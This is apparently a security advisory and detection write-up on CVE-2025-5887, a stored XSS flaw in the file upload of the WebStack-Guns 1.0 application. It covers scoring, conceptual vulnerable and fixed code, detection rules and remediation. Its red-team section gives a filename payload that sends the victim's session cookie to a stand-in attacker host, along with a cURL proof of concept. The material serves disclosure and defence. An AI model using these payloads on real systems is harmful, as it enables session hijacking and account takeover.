CVE-2025-5887

Executive Summary

CVE-2025-5887 is a stored Cross-Site Scripting (XSS) vulnerability in the jsnjfz WebStack-Guns 1.0 application, specifically within the file upload functionality of UserMgrController.java. An attacker can inject arbitrary JavaScript code via the File argument during file upload, which is then executed in the context of any user viewing the uploaded file metadata. The vulnerability is remotely exploitable with low complexity, requires user interaction (e.g., an admin viewing the uploaded file details), and has a CVSS v3.1 base score of 3.5 (Low). No patch is available as the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability affects a Java-based web application (WebStack-Guns). No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to direct deployments of the application.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the upload.
• User Interaction (UI): Required (R) – A victim must view the uploaded file details.
• Scope (S): Unchanged (U) – The vulnerable component is affected.
• Confidentiality (C): None (N) – No data exfiltration directly.
• Integrity (I): Low (L) – Malicious script can modify content within the victim’s session.
• Availability (A): None (N) – No impact on availability.

Threat Level: Low. The attack requires user interaction and only affects integrity. However, in a social engineering context, it could be used to steal session cookies or perform actions on behalf of an admin.

Deep Dive & Mechanics

The vulnerability resides in the UserMgrController.java file, which handles file uploads. The application fails to sanitize or encode the File argument (likely the filename or file metadata) before storing it and later rendering it in the web interface. When an admin or user views the uploaded file details, the injected script executes.

Attack Flow:

1. Attacker crafts a malicious filename containing JavaScript, e.g., <script>alert('XSS')</script>.png.
2. Attacker uploads this file via the file upload endpoint.
3. The application stores the filename without sanitization.
4. When an admin views the file list or details, the script executes in their browser.

Root Cause: Lack of input validation and output encoding on the File parameter.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// UserMgrController.java
@PostMapping("/upload")
public String handleFileUpload(@RequestParam("file") MultipartFile file) {
    String filename = file.getOriginalFilename();
    // Directly stored without sanitization
    fileRepository.save(new FileEntity(filename));
    return "redirect:/files";
}

Patched Code (Conceptual):

// UserMgrController.java
import org.springframework.web.util.HtmlUtils;

@PostMapping("/upload")
public String handleFileUpload(@RequestParam("file") MultipartFile file) {
    String filename = file.getOriginalFilename();
    // Sanitize filename: remove HTML/script tags
    String sanitizedFilename = HtmlUtils.htmlEscape(filename);
    fileRepository.save(new FileEntity(sanitizedFilename));
    return "redirect:/files";
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the WebStack-Guns file upload endpoint (e.g., /upload).
• A victim user (admin) who will view the uploaded file details.

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.png

Steps:

1. Upload a file with the above payload as the filename.
2. Wait for an admin to navigate to the file management page.
3. The script executes, exfiltrating the admin’s session cookie to the attacker’s server.

Proof-of-Concept (cURL):

curl -X POST -F "file=@/dev/null;filename=<script>alert('XSS')</script>.png" http://target.com/upload

Blue Team (Detection & Response)

Detection:

• Monitor file upload logs for filenames containing <script>, onerror=, or other HTML/JavaScript patterns.
• Use WAF rules to block filenames with HTML tags.

Response:

• Immediately isolate the affected server.
• Review file upload logs for suspicious filenames.
• Remove any uploaded files with malicious filenames.
• Implement input sanitization as a temporary fix.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /upload with filenames containing <script>, onerror, javascript:, or similar patterns.
• File System: Files with names containing HTML/JavaScript tags in the upload directory.
• Logs: Application logs showing filenames with HTML entities.
• Example IOC: Filename: <img src=x onerror=alert(1)>.png

Detection Engineering

YARA Rule

rule CVE_2025_5887_XSS_Filename {
    meta:
        description = "Detects malicious filenames used in CVE-2025-5887 XSS attack"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-5887"
    strings:
        $xss_pattern = /<[^>]*script[^>]*>|<[^>]*on\w+\s*=/i
    condition:
        $xss_pattern
}

Sigma Rule

title: CVE-2025-5887 XSS via File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file upload requests with suspicious filenames indicating XSS attempt
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate filenames containing these strings (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5887 XSS via File Upload"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; pcre:"/<[^>]*script[^>]*>|<[^>]*on\w+\s*=/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Input Validation: Sanitize filenames to remove HTML/JavaScript characters. Use a whitelist of allowed characters (e.g., alphanumeric, dash, underscore, dot).
2. Output Encoding: Encode all user-supplied data before rendering in HTML (e.g., using HtmlUtils.htmlEscape() in Spring).
3. WAF Rule: Deploy a Web Application Firewall rule to block filenames containing <, >, script, onerror, etc.

Long-Term Fix:

• Upgrade to a patched version of WebStack-Guns if the vendor releases one.
• Consider migrating to a maintained alternative.

Vendor Contact: No response received. Monitor the vendor’s repository for updates.

Valters IT